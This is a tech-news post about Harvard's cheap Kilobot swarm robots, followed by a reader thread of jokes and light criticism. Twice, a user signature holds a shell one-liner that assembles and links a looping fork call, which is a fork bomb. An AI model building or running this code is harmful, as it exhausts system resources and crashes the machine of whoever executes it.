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Kilobots — Cheap Swarm Robots Out of Harvard
An anonymous reader writes with news of a research project at Harvard into controlling large swarms of small robots. This article describes what they call Kilobots. (Which, for clarity's sake, have nothing to do with killing. Yet.) Quoting:
"They're fairly simple little robots about the size of a quarter that can move around on vibrating legs, blink their lights, and communicate with each other. On an individual basis, this isn't particularly impressive, but Kilobots aren't designed to be used on an individual basis. Costing a mere $14 each and buildable in about five minutes, you don't just get yourself one single Kilobot. Or ten. Or a hundred. They're designed to swarm in the thousands."
I'd like to be the first to welcome out new robot overlords.
If there's anything I can do to make this transition easier on you, you need but ask. Oh, and that neighbor I don't like is part of the resistance.
Obligatory XKCD
Haven't braitenberg vehicles kind of simulated this kind of behavior for a while now?
Its a cool idea and all but designed for the thousands? What on Earth would I want a thousand little vibrating bots that jostle around in circles and blink at eachother for?
Indeed, they could have chosen a less ominous name.
Like fluffyboppers.
They are so cute!
I don't even know why but I was "awww"ing when all the robots started to blink their lights in unison.
The battery life is only 3 hours, and is non rechargeable.. I'd REALLY hate being the intern at a company using a swarm of 1000s of these guys after the first experiment.
I understand that small steps (no pun intended) need to be taken to advance the state of the art, but this remains an academic novelty until these little guys can do something useful. Doesn't have to be terribly complicated. There are plenty of simple yet highly repetitious and tedious tasks that would be perfect for a cooperating swarm of little worker bots working in parallel. Like carrying the leaves off of the lawn and depositing them in the woods (or a recycling bag) in the fall or similar. Then I would be impressed (and would be the first in line to buy the kit).
How long until they divide into two camps and fight to the death over whether kilo = 1000 or 1024?
1024 kilobots = 1 Megabot
1024 Megabots = 1 Gigabot (aka 1 Decepticon)
1024 Gigabots = 1 Terabot
1024 Terabots = 1 Petabot (A sufficient number of bots to enslave humanity)
1024 Petabots = 1 Exabot (A sufficient number of bots to enslave the the planets in our solar system)
1024 Exabots = 1 Zettabot (A sufficient number of bots to enslave our galaxy)
1024 Zettabots = 1 Yottabot (A sufficient number of bots to enslave 25% of the known universe)
1024 Yottabots = A sufficient number of bots bots to replace all interesting objects in the known (and unknown) parts of the universe with Kilobot swarms.
They can't climb or burrow. They have all the mobility of my phone in vibrate mode.
Well sure... These are just the research prototypes. v2.0 will add spring-loaded legs, and teeth.
I don't care if it's 90,000 hectares. That lake was not my doing.
Michael Crichton wrote a book about how we thought we could control thousand of nanobots using swarm theory.
Also, L. Ron Hubbard wrote a book about how we are all haunted by thousands of evil alien ghosts. Fortunately, both books are works of fiction, and therefore have little relation to reality.
I don't care if it's 90,000 hectares. That lake was not my doing.
Michael Crichton wrote a book
Let me guess, it's about "science gone mad", right?
And did you exchange a walk on part in the war for a lead role in a cage? - Pink Floyd.
Please Cease and Desist from violating the Centre for Religious Technology's Intellectual Property.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Still pissed about this, eh?
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;